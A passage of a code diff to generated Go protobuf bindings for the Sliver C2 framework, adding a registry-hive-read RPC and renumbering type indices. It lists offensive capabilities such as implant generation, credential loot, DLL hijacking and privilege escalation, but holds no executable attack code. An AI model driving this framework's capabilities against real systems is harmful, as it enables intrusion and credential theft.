0x61, 0x74, 0x61, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x14, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, + 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x2c, 0x0a, 0x06, 0x45, 0x76, 0x65, 0x6e, 0x74, + 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, + 0x65, 0x6e, 0x74, 0x30, 0x01, 0x42, 0x2c, 0x5a, 0x2a, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, + 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, + 0x63, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var file_rpcpb_services_proto_goTypes = []interface{}{ @@ -819,131 +824,133 @@ var file_rpcpb_services_proto_goTypes = []interface{}{ (*sliverpb.RegistryDeleteKeyReq)(nil), // 100: sliverpb.RegistryDeleteKeyReq (*sliverpb.RegistrySubKeyListReq)(nil), // 101: sliverpb.RegistrySubKeyListReq (*sliverpb.RegistryListValuesReq)(nil), // 102: sliverpb.RegistryListValuesReq - (*sliverpb.SSHCommandReq)(nil), // 103: sliverpb.SSHCommandReq - (*clientpb.DllHijackReq)(nil), // 104: clientpb.DllHijackReq - (*sliverpb.GetPrivsReq)(nil), // 105: sliverpb.GetPrivsReq - (*sliverpb.RportFwdStartListenerReq)(nil), // 106: sliverpb.RportFwdStartListenerReq - (*sliverpb.RportFwdListenersReq)(nil), // 107: sliverpb.RportFwdListenersReq - (*sliverpb.RportFwdStopListenerReq)(nil), // 108: sliverpb.RportFwdStopListenerReq - (*sliverpb.OpenSession)(nil), // 109: sliverpb.OpenSession - (*sliverpb.CloseSession)(nil), // 110: sliverpb.CloseSession - (*sliverpb.RegisterExtensionReq)(nil), // 111: sliverpb.RegisterExtensionReq - (*sliverpb.CallExtensionReq)(nil), // 112: sliverpb.CallExtensionReq - (*sliverpb.ListExtensionsReq)(nil), // 113: sliverpb.ListExtensionsReq - (*sliverpb.RegisterWasmExtensionReq)(nil), // 114: sliverpb.RegisterWasmExtensionReq - (*sliverpb.ListWasmExtensionsReq)(nil), // 115: sliverpb.ListWasmExtensionsReq - (*sliverpb.ExecWasmExtensionReq)(nil), // 116: sliverpb.ExecWasmExtensionReq - (*sliverpb.WGPortForwardStartReq)(nil), // 117: sliverpb.WGPortForwardStartReq - (*sliverpb.WGPortForwardStopReq)(nil), // 118: sliverpb.WGPortForwardStopReq - (*sliverpb.WGSocksStartReq)(nil), // 119: sliverpb.WGSocksStartReq - (*sliverpb.WGSocksStopReq)(nil), // 120: sliverpb.WGSocksStopReq - (*sliverpb.WGTCPForwardersReq)(nil), // 121: sliverpb.WGTCPForwardersReq - (*sliverpb.WGSocksServersReq)(nil), // 122: sliverpb.WGSocksServersReq - (*sliverpb.ShellReq)(nil), // 123: sliverpb.ShellReq - (*sliverpb.PortfwdReq)(nil), // 124: sliverpb.PortfwdReq - (*sliverpb.Socks)(nil), // 125: sliverpb.Socks - (*sliverpb.SocksData)(nil), // 126: sliverpb.SocksData - (*sliverpb.Tunnel)(nil), // 127: sliverpb.Tunnel - (*sliverpb.TunnelData)(nil), // 128: sliverpb.TunnelData - (*clientpb.Version)(nil), // 129: clientpb.Version - (*clientpb.Operators)(nil), // 130: clientpb.Operators - (*sliverpb.Reconfigure)(nil), // 131: sliverpb.Reconfigure - (*clientpb.Sessions)(nil), // 132: clientpb.Sessions - (*commonpb.Response)(nil), // 133: commonpb.Response - (*clientpb.MonitoringProviders)(nil), // 134: clientpb.MonitoringProviders - (*clientpb.ListenerJob)(nil), // 135: clientpb.ListenerJob - (*clientpb.Beacons)(nil), // 136: clientpb.Beacons - (*clientpb.BeaconTasks)(nil), // 137: clientpb.BeaconTasks - (*clientpb.Jobs)(nil), // 138: clientpb.Jobs - (*clientpb.KillJob)(nil), // 139: clientpb.KillJob - (*clientpb.StagerListener)(nil), // 140: clientpb.StagerListener - (*clientpb.AllLoot)(nil), // 141: clientpb.AllLoot - (*clientpb.AllHosts)(nil), // 142: clientpb.AllHosts - (*clientpb.Generate)(nil), // 143: clientpb.Generate - (*clientpb.ExternalImplantConfig)(nil), // 144: clientpb.ExternalImplantConfig - (*clientpb.HTTPC2Configs)(nil), // 145: clientpb.HTTPC2Configs - (*clientpb.HTTPC2Config)(nil), // 146: clientpb.HTTPC2Config - (*clientpb.Builders)(nil), // 147: clientpb.Builders - (*clientpb.Crackstations)(nil), // 148: clientpb.Crackstations - (*clientpb.CrackFiles)(nil), // 149: clientpb.CrackFiles - (*clientpb.ImplantBuilds)(nil), // 150: clientpb.ImplantBuilds - (*clientpb.Canaries)(nil), // 151: clientpb.Canaries - (*clientpb.WGClientConfig)(nil), // 152: clientpb.WGClientConfig - (*clientpb.UniqueWGIP)(nil), // 153: clientpb.UniqueWGIP - (*clientpb.ImplantProfiles)(nil), // 154: clientpb.ImplantProfiles - (*clientpb.MsfStager)(nil), // 155: clientpb.MsfStager - (*clientpb.ShellcodeRDI)(nil), // 156: clientpb.ShellcodeRDI - (*clientpb.Compiler)(nil), // 157: clientpb.Compiler - (*clientpb.ShellcodeEncode)(nil), // 158: clientpb.ShellcodeEncode - (*clientpb.ShellcodeEncoderMap)(nil), // 159: clientpb.ShellcodeEncoderMap - (*clientpb.TrafficEncoderMap)(nil), // 160: clientpb.TrafficEncoderMap - (*clientpb.TrafficEncoderTests)(nil), // 161: clientpb.TrafficEncoderTests - (*clientpb.Websites)(nil), // 162: clientpb.Websites - (*sliverpb.Ps)(nil), // 163: sliverpb.Ps - (*sliverpb.Terminate)(nil), // 164: sliverpb.Terminate - (*sliverpb.Ifconfig)(nil), // 165: sliverpb.Ifconfig - (*sliverpb.Netstat)(nil), // 166: sliverpb.Netstat - (*sliverpb.Ls)(nil), // 167: sliverpb.Ls - (*sliverpb.Pwd)(nil), // 168: sliverpb.Pwd - (*sliverpb.Mv)(nil), // 169: sliverpb.Mv - (*sliverpb.Cp)(nil), // 170: sliverpb.Cp - (*sliverpb.Rm)(nil), // 171: sliverpb.Rm - (*sliverpb.Mkdir)(nil), // 172: sliverpb.Mkdir - (*sliverpb.Download)(nil), // 173: sliverpb.Download - (*sliverpb.Upload)(nil), // 174: sliverpb.Upload - (*sliverpb.Grep)(nil), // 175: sliverpb.Grep - (*sliverpb.Chmod)(nil), // 176: sliverpb.Chmod - (*sliverpb.Chown)(nil), // 177: sliverpb.Chown - (*sliverpb.Chtimes)(nil), // 178: sliverpb.Chtimes - (*sliverpb.MemfilesAdd)(nil), // 179: sliverpb.MemfilesAdd - (*sliverpb.MemfilesRm)(nil), // 180: sliverpb.MemfilesRm - (*sliverpb.ProcessDump)(nil), // 181: sliverpb.ProcessDump - (*sliverpb.RunAs)(nil), // 182: sliverpb.RunAs - (*sliverpb.Impersonate)(nil), // 183: sliverpb.Impersonate - (*sliverpb.RevToSelf)(nil), // 184: sliverpb.RevToSelf - (*sliverpb.GetSystem)(nil), // 185: sliverpb.GetSystem - (*sliverpb.Task)(nil), // 186: sliverpb.Task - (*sliverpb.ExecuteAssembly)(nil), // 187: sliverpb.ExecuteAssembly - (*sliverpb.Migrate)(nil), // 188: sliverpb.Migrate - (*sliverpb.Execute)(nil), // 189: sliverpb.Execute - (*sliverpb.Sideload)(nil), // 190: sliverpb.Sideload - (*sliverpb.SpawnDll)(nil), // 191: sliverpb.SpawnDll - (*sliverpb.Screenshot)(nil), // 192: sliverpb.Screenshot - (*sliverpb.CurrentTokenOwner)(nil), // 193: sliverpb.CurrentTokenOwner - (*sliverpb.Services)(nil), // 194: sliverpb.Services - (*sliverpb.ServiceDetail)(nil), // 195: sliverpb.ServiceDetail - (*sliverpb.ServiceInfo)(nil), // 196: sliverpb.ServiceInfo - (*sliverpb.PivotListener)(nil), // 197: sliverpb.PivotListener - (*sliverpb.PivotListeners)(nil), // 198: sliverpb.PivotListeners - (*clientpb.PivotGraph)(nil), // 199: clientpb.PivotGraph - (*sliverpb.MakeToken)(nil), // 200: sliverpb.MakeToken - (*sliverpb.EnvInfo)(nil), // 201: sliverpb.EnvInfo - (*sliverpb.SetEnv)(nil), // 202: sliverpb.SetEnv - (*sliverpb.UnsetEnv)(nil), // 203: sliverpb.UnsetEnv - (*clientpb.Backdoor)(nil), // 204: clientpb.Backdoor - (*sliverpb.RegistryRead)(nil), // 205: sliverpb.RegistryRead - (*sliverpb.RegistryWrite)(nil), // 206: sliverpb.RegistryWrite - (*sliverpb.RegistryCreateKey)(nil), // 207: sliverpb.RegistryCreateKey - (*sliverpb.RegistryDeleteKey)(nil), // 208: sliverpb.RegistryDeleteKey - (*sliverpb.RegistrySubKeyList)(nil), // 209: sliverpb.RegistrySubKeyList - (*sliverpb.RegistryValuesList)(nil), // 210: sliverpb.RegistryValuesList - (*sliverpb.SSHCommand)(nil), // 211: sliverpb.SSHCommand - (*clientpb.DllHijack)(nil), // 212: clientpb.DllHijack - (*sliverpb.GetPrivs)(nil), // 213: sliverpb.GetPrivs - (*sliverpb.RportFwdListener)(nil), // 214: sliverpb.RportFwdListener - (*sliverpb.RportFwdListeners)(nil), // 215: sliverpb.RportFwdListeners - (*sliverpb.RegisterExtension)(nil), // 216: sliverpb.RegisterExtension - (*sliverpb.CallExtension)(nil), // 217: sliverpb.CallExtension - (*sliverpb.ListExtensions)(nil), // 218: sliverpb.ListExtensions - (*sliverpb.RegisterWasmExtension)(nil), // 219: sliverpb.RegisterWasmExtension - (*sliverpb.ListWasmExtensions)(nil), // 220: sliverpb.ListWasmExtensions - (*sliverpb.ExecWasmExtension)(nil), // 221: sliverpb.ExecWasmExtension - (*sliverpb.WGPortForward)(nil), // 222: sliverpb.WGPortForward - (*sliverpb.WGSocks)(nil), // 223: sliverpb.WGSocks - (*sliverpb.WGTCPForwarders)(nil), // 224: sliverpb.WGTCPForwarders - (*sliverpb.WGSocksServers)(nil), // 225: sliverpb.WGSocksServers - (*sliverpb.Shell)(nil), // 226: sliverpb.Shell - (*sliverpb.Portfwd)(nil), // 227: sliverpb.Portfwd + (*sliverpb.RegistryReadHiveReq)(nil), // 103: sliverpb.RegistryReadHiveReq + (*sliverpb.SSHCommandReq)(nil), // 104: sliverpb.SSHCommandReq + (*clientpb.DllHijackReq)(nil), // 105: clientpb.DllHijackReq + (*sliverpb.GetPrivsReq)(nil), // 106: sliverpb.GetPrivsReq + (*sliverpb.RportFwdStartListenerReq)(nil), // 107: sliverpb.RportFwdStartListenerReq + (*sliverpb.RportFwdListenersReq)(nil), // 108: sliverpb.RportFwdListenersReq + (*sliverpb.RportFwdStopListenerReq)(nil), // 109: sliverpb.RportFwdStopListenerReq + (*sliverpb.OpenSession)(nil), // 110: sliverpb.OpenSession + (*sliverpb.CloseSession)(nil), // 111: sliverpb.CloseSession + (*sliverpb.RegisterExtensionReq)(nil), // 112: sliverpb.RegisterExtensionReq + (*sliverpb.CallExtensionReq)(nil), // 113: sliverpb.CallExtensionReq + (*sliverpb.ListExtensionsReq)(nil), // 114: sliverpb.ListExtensionsReq + (*sliverpb.RegisterWasmExtensionReq)(nil), // 115: sliverpb.RegisterWasmExtensionReq + (*sliverpb.ListWasmExtensionsReq)(nil), // 116: sliverpb.ListWasmExtensionsReq + (*sliverpb.ExecWasmExtensionReq)(nil), // 117: sliverpb.ExecWasmExtensionReq + (*sliverpb.WGPortForwardStartReq)(nil), // 118: sliverpb.WGPortForwardStartReq + (*sliverpb.WGPortForwardStopReq)(nil), // 119: sliverpb.WGPortForwardStopReq + (*sliverpb.WGSocksStartReq)(nil), // 120: sliverpb.WGSocksStartReq + (*sliverpb.WGSocksStopReq)(nil), // 121: sliverpb.WGSocksStopReq + (*sliverpb.WGTCPForwardersReq)(nil), // 122: sliverpb.WGTCPForwardersReq + (*sliverpb.WGSocksServersReq)(nil), // 123: sliverpb.WGSocksServersReq + (*sliverpb.ShellReq)(nil), // 124: sliverpb.ShellReq + (*sliverpb.PortfwdReq)(nil), // 125: sliverpb.PortfwdReq + (*sliverpb.Socks)(nil), // 126: sliverpb.Socks + (*sliverpb.SocksData)(nil), // 127: sliverpb.SocksData + (*sliverpb.Tunnel)(nil), // 128: sliverpb.Tunnel + (*sliverpb.TunnelData)(nil), // 129: sliverpb.TunnelData + (*clientpb.Version)(nil), // 130: clientpb.Version + (*clientpb.Operators)(nil), // 131: clientpb.Operators + (*sliverpb.Reconfigure)(nil), // 132: sliverpb.Reconfigure + (*clientpb.Sessions)(nil), // 133: clientpb.Sessions + (*commonpb.Response)(nil), // 134: commonpb.Response + (*clientpb.MonitoringProviders)(nil), // 135: clientpb.MonitoringProviders + (*clientpb.ListenerJob)(nil), // 136: clientpb.ListenerJob + (*clientpb.Beacons)(nil), // 137: clientpb.Beacons + (*clientpb.BeaconTasks)(nil), // 138: clientpb.BeaconTasks + (*clientpb.Jobs)(nil), // 139: clientpb.Jobs + (*clientpb.KillJob)(nil), // 140: clientpb.KillJob + (*clientpb.StagerListener)(nil), // 141: clientpb.StagerListener + (*clientpb.AllLoot)(nil), // 142: clientpb.AllLoot + (*clientpb.AllHosts)(nil), // 143: clientpb.AllHosts + (*clientpb.Generate)(nil), // 144: clientpb.Generate + (*clientpb.ExternalImplantConfig)(nil), // 145: clientpb.ExternalImplantConfig + (*clientpb.HTTPC2Configs)(nil), // 146: clientpb.HTTPC2Configs + (*clientpb.HTTPC2Config)(nil), // 147: clientpb.HTTPC2Config + (*clientpb.Builders)(nil), // 148: clientpb.Builders + (*clientpb.Crackstations)(nil), // 149: clientpb.Crackstations + (*clientpb.CrackFiles)(nil), // 150: clientpb.CrackFiles + (*clientpb.ImplantBuilds)(nil), // 151: clientpb.ImplantBuilds + (*clientpb.Canaries)(nil), // 152: clientpb.Canaries + (*clientpb.WGClientConfig)(nil), // 153: clientpb.WGClientConfig + (*clientpb.UniqueWGIP)(nil), // 154: clientpb.UniqueWGIP + (*clientpb.ImplantProfiles)(nil), // 155: clientpb.ImplantProfiles + (*clientpb.MsfStager)(nil), // 156: clientpb.MsfStager + (*clientpb.ShellcodeRDI)(nil), // 157: clientpb.ShellcodeRDI + (*clientpb.Compiler)(nil), // 158: clientpb.Compiler + (*clientpb.ShellcodeEncode)(nil), // 159: clientpb.ShellcodeEncode + (*clientpb.ShellcodeEncoderMap)(nil), // 160: clientpb.ShellcodeEncoderMap + (*clientpb.TrafficEncoderMap)(nil), // 161: clientpb.TrafficEncoderMap + (*clientpb.TrafficEncoderTests)(nil), // 162: clientpb.TrafficEncoderTests + (*clientpb.Websites)(nil), // 163: clientpb.Websites + (*sliverpb.Ps)(nil), // 164: sliverpb.Ps + (*sliverpb.Terminate)(nil), // 165: sliverpb.Terminate + (*sliverpb.Ifconfig)(nil), // 166: sliverpb.Ifconfig + (*sliverpb.Netstat)(nil), // 167: sliverpb.Netstat + (*sliverpb.Ls)(nil), // 168: sliverpb.Ls + (*sliverpb.Pwd)(nil), // 169: sliverpb.Pwd + (*sliverpb.Mv)(nil), // 170: sliverpb.Mv + (*sliverpb.Cp)(nil), // 171: sliverpb.Cp + (*sliverpb.Rm)(nil), // 172: sliverpb.Rm + (*sliverpb.Mkdir)(nil), // 173: sliverpb.Mkdir + (*sliverpb.Download)(nil), // 174: sliverpb.Download + (*sliverpb.Upload)(nil), // 175: sliverpb.Upload + (*sliverpb.Grep)(nil), // 176: sliverpb.Grep + (*sliverpb.Chmod)(nil), // 177: sliverpb.Chmod + (*sliverpb.Chown)(nil), // 178: sliverpb.Chown + (*sliverpb.Chtimes)(nil), // 179: sliverpb.Chtimes + (*sliverpb.MemfilesAdd)(nil), // 180: sliverpb.MemfilesAdd + (*sliverpb.MemfilesRm)(nil), // 181: sliverpb.MemfilesRm + (*sliverpb.ProcessDump)(nil), // 182: sliverpb.ProcessDump + (*sliverpb.RunAs)(nil), // 183: sliverpb.RunAs + (*sliverpb.Impersonate)(nil), // 184: sliverpb.Impersonate + (*sliverpb.RevToSelf)(nil), // 185: sliverpb.RevToSelf + (*sliverpb.GetSystem)(nil), // 186: sliverpb.GetSystem + (*sliverpb.Task)(nil), // 187: sliverpb.Task + (*sliverpb.ExecuteAssembly)(nil), // 188: sliverpb.ExecuteAssembly + (*sliverpb.Migrate)(nil), // 189: sliverpb.Migrate + (*sliverpb.Execute)(nil), // 190: sliverpb.Execute + (*sliverpb.Sideload)(nil), // 191: sliverpb.Sideload + (*sliverpb.SpawnDll)(nil), // 192: sliverpb.SpawnDll + (*sliverpb.Screenshot)(nil), // 193: sliverpb.Screenshot + (*sliverpb.CurrentTokenOwner)(nil), // 194: sliverpb.CurrentTokenOwner + (*sliverpb.Services)(nil), // 195: sliverpb.Services + (*sliverpb.ServiceDetail)(nil), // 196: sliverpb.ServiceDetail + (*sliverpb.ServiceInfo)(nil), // 197: sliverpb.ServiceInfo + (*sliverpb.PivotListener)(nil), // 198: sliverpb.PivotListener + (*sliverpb.PivotListeners)(nil), // 199: sliverpb.PivotListeners + (*clientpb.PivotGraph)(nil), // 200: clientpb.PivotGraph + (*sliverpb.MakeToken)(nil), // 201: sliverpb.MakeToken + (*sliverpb.EnvInfo)(nil), // 202: sliverpb.EnvInfo + (*sliverpb.SetEnv)(nil), // 203: sliverpb.SetEnv + (*sliverpb.UnsetEnv)(nil), // 204: sliverpb.UnsetEnv + (*clientpb.Backdoor)(nil), // 205: clientpb.Backdoor + (*sliverpb.RegistryRead)(nil), // 206: sliverpb.RegistryRead + (*sliverpb.RegistryWrite)(nil), // 207: sliverpb.RegistryWrite + (*sliverpb.RegistryCreateKey)(nil), // 208: sliverpb.RegistryCreateKey + (*sliverpb.RegistryDeleteKey)(nil), // 209: sliverpb.RegistryDeleteKey + (*sliverpb.RegistrySubKeyList)(nil), // 210: sliverpb.RegistrySubKeyList + (*sliverpb.RegistryValuesList)(nil), // 211: sliverpb.RegistryValuesList + (*sliverpb.RegistryReadHive)(nil), // 212: sliverpb.RegistryReadHive + (*sliverpb.SSHCommand)(nil), // 213: sliverpb.SSHCommand + (*clientpb.DllHijack)(nil), // 214: clientpb.DllHijack + (*sliverpb.GetPrivs)(nil), // 215: sliverpb.GetPrivs + (*sliverpb.RportFwdListener)(nil), // 216: sliverpb.RportFwdListener + (*sliverpb.RportFwdListeners)(nil), // 217: sliverpb.RportFwdListeners + (*sliverpb.RegisterExtension)(nil), // 218: sliverpb.RegisterExtension + (*sliverpb.CallExtension)(nil), // 219: sliverpb.CallExtension + (*sliverpb.ListExtensions)(nil), // 220: sliverpb.ListExtensions + (*sliverpb.RegisterWasmExtension)(nil), // 221: sliverpb.RegisterWasmExtension + (*sliverpb.ListWasmExtensions)(nil), // 222: sliverpb.ListWasmExtensions + (*sliverpb.ExecWasmExtension)(nil), // 223: sliverpb.ExecWasmExtension + (*sliverpb.WGPortForward)(nil), // 224: sliverpb.WGPortForward + (*sliverpb.WGSocks)(nil), // 225: sliverpb.WGSocks + (*sliverpb.WGTCPForwarders)(nil), // 226: sliverpb.WGTCPForwarders + (*sliverpb.WGSocksServers)(nil), // 227: sliverpb.WGSocksServers + (*sliverpb.Shell)(nil), // 228: sliverpb.Shell + (*sliverpb.Portfwd)(nil), // 229: sliverpb.Portfwd } var file_rpcpb_services_proto_depIdxs = []int32{ 0, // 0: rpcpb.SliverRPC.GetVersion:input_type -> commonpb.Empty @@ -1096,216 +1103,218 @@ var file_rpcpb_services_proto_depIdxs = []int32{ 100, // 147: rpcpb.SliverRPC.RegistryDeleteKey:input_type -> sliverpb.RegistryDeleteKeyReq 101, // 148: rpcpb.SliverRPC.RegistryListSubKeys:input_type -> sliverpb.RegistrySubKeyListReq 102, // 149: rpcpb.SliverRPC.RegistryListValues:input_type -> sliverpb.RegistryListValuesReq - 103, // 150: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq - 104, // 151: rpcpb.SliverRPC.HijackDLL:input_type -> clientpb.DllHijackReq - 105, // 152: rpcpb.SliverRPC.GetPrivs:input_type -> sliverpb.GetPrivsReq - 106, // 153: rpcpb.SliverRPC.StartRportFwdListener:input_type -> sliverpb.RportFwdStartListenerReq - 107, // 154: rpcpb.SliverRPC.GetRportFwdListeners:input_type -> sliverpb.RportFwdListenersReq - 108, // 155: rpcpb.SliverRPC.StopRportFwdListener:input_type -> sliverpb.RportFwdStopListenerReq - 109, // 156: rpcpb.SliverRPC.OpenSession:input_type -> sliverpb.OpenSession - 110, // 157: rpcpb.SliverRPC.CloseSession:input_type -> sliverpb.CloseSession - 111, // 158: rpcpb.SliverRPC.RegisterExtension:input_type -> sliverpb.RegisterExtensionReq - 112, // 159: rpcpb.SliverRPC.CallExtension:input_type -> sliverpb.CallExtensionReq - 113, // 160: rpcpb.SliverRPC.ListExtensions:input_type -> sliverpb.ListExtensionsReq - 114, // 161: rpcpb.SliverRPC.RegisterWasmExtension:input_type -> sliverpb.RegisterWasmExtensionReq - 115, // 162: rpcpb.SliverRPC.ListWasmExtensions:input_type -> sliverpb.ListWasmExtensionsReq - 116, // 163: rpcpb.SliverRPC.ExecWasmExtension:input_type -> sliverpb.ExecWasmExtensionReq - 117, // 164: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq - 118, // 165: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq - 119, // 166: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq - 120, // 167: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq - 121, // 168: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq - 122, // 169: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq - 123, // 170: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq - 124, // 171: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq - 125, // 172: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks - 125, // 173: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks - 126, // 174: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData - 127, // 175: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel - 127, // 176: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel - 128, // 177: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData - 0, // 178: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty - 129, // 179: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version - 0, // 180: rpcpb.SliverRPC.ClientLog:output_type -> commonpb.Empty - 130, // 181: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators - 0, // 182: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty - 131, // 183: rpcpb.SliverRPC.Reconfigure:output_type -> sliverpb.Reconfigure - 0, // 184: rpcpb.SliverRPC.Rename:output_type -> commonpb.Empty - 132, // 185: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions - 133, // 186: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response - 0, // 187: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty - 134, // 188: rpcpb.SliverRPC.MonitorListConfig:output_type -> clientpb.MonitoringProviders - 133, // 189: rpcpb.SliverRPC.MonitorAddConfig:output_type -> commonpb.Response - 133, // 190: rpcpb.SliverRPC.MonitorDelConfig:output_type -> commonpb.Response - 135, // 191: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.ListenerJob - 135, // 192: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.ListenerJob - 135, // 193: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.ListenerJob - 135, // 194: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.ListenerJob - 135, // 195: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.ListenerJob - 136, // 196: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons - 10, // 197: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon - 0, // 198: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty - 137, // 199: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks - 11, // 200: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask - 11, // 201: rpcpb.SliverRPC.CancelBeaconTask:output_type -> clientpb.BeaconTask - 0, // 202: rpcpb.SliverRPC.UpdateBeaconIntegrityInformation:output_type -> commonpb.Empty - 138, // 203: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs - 139, // 204: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob - 0, // 205: rpcpb.SliverRPC.RestartJobs:output_type -> commonpb.Empty - 140, // 206: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener - 16, // 207: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot - 0, // 208: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty - 16, // 209: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot - 16, // 210: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot - 141, // 211: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot - 17, // 212: rpcpb.SliverRPC.Creds:output_type -> clientpb.Credentials - 0, // 213: rpcpb.SliverRPC.CredsAdd:output_type -> commonpb.Empty - 0, // 214: rpcpb.SliverRPC.CredsRm:output_type -> commonpb.Empty - 0, // 215: rpcpb.SliverRPC.CredsUpdate:output_type -> commonpb.Empty - 18, // 216: rpcpb.SliverRPC.GetCredByID:output_type -> clientpb.Credential - 17, // 217: rpcpb.SliverRPC.GetCredsByHashType:output_type -> clientpb.Credentials - 17, // 218: rpcpb.SliverRPC.GetPlaintextCredsByHashType:output_type -> clientpb.Credentials - 18, // 219: rpcpb.SliverRPC.CredsSniffHashType:output_type -> clientpb.Credential - 142, // 220: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts - 19, // 221: rpcpb.SliverRPC.Host:output_type -> clientpb.Host - 0, // 222: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty - 0, // 223: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty - 143, // 224: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate - 144, // 225: rpcpb.SliverRPC.GenerateExternal:output_type -> clientpb.ExternalImplantConfig - 0, // 226: rpcpb.SliverRPC.GenerateExternalSaveBuild:output_type -> commonpb.Empty - 144, // 227: rpcpb.SliverRPC.GenerateExternalGetBuildConfig:output_type -> clientpb.ExternalImplantConfig - 143, // 228: rpcpb.SliverRPC.GenerateStage:output_type -> clientpb.Generate - 0, // 229: rpcpb.SliverRPC.StageImplantBuild:output_type -> commonpb.Empty - 145, // 230: rpcpb.SliverRPC.GetHTTPC2Profiles:output_type -> clientpb.HTTPC2Configs - 146, // 231: rpcpb.SliverRPC.GetHTTPC2ProfileByName:output_type -> clientpb.HTTPC2Config - 0, // 232: rpcpb.SliverRPC.SaveHTTPC2Profile:output_type -> commonpb.Empty - 30, // 233: rpcpb.SliverRPC.BuilderRegister:output_type -> clientpb.Event - 0, // 234: rpcpb.SliverRPC.BuilderTrigger:output_type -> commonpb.Empty - 147, // 235: rpcpb.SliverRPC.Builders:output_type -> clientpb.Builders - 30, // 236: rpcpb.SliverRPC.CrackstationRegister:output_type -> clientpb.Event - 0, // 237: rpcpb.SliverRPC.CrackstationTrigger:output_type -> commonpb.Empty - 0, // 238: rpcpb.SliverRPC.CrackstationBenchmark:output_type -> commonpb.Empty - 148, // 239: rpcpb.SliverRPC.Crackstations:output_type -> clientpb.Crackstations - 33, // 240: rpcpb.SliverRPC.CrackTaskByID:output_type -> clientpb.CrackTask - 0, // 241: rpcpb.SliverRPC.CrackTaskUpdate:output_type -> commonpb.Empty - 149, // 242: rpcpb.SliverRPC.CrackFilesList:output_type -> clientpb.CrackFiles - 34, // 243: rpcpb.SliverRPC.CrackFileCreate:output_type -> clientpb.CrackFile - 0, // 244: rpcpb.SliverRPC.CrackFileChunkUpload:output_type -> commonpb.Empty - 35, // 245: rpcpb.SliverRPC.CrackFileChunkDownload:output_type -> clientpb.CrackFileChunk - 0, // 246: rpcpb.SliverRPC.CrackFileComplete:output_type -> commonpb.Empty - 0, // 247: rpcpb.SliverRPC.CrackFileDelete:output_type -> commonpb.Empty - 143, // 248: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate - 150, // 249: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds - 0, // 250: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty - 151, // 251: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries - 152, // 252: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig - 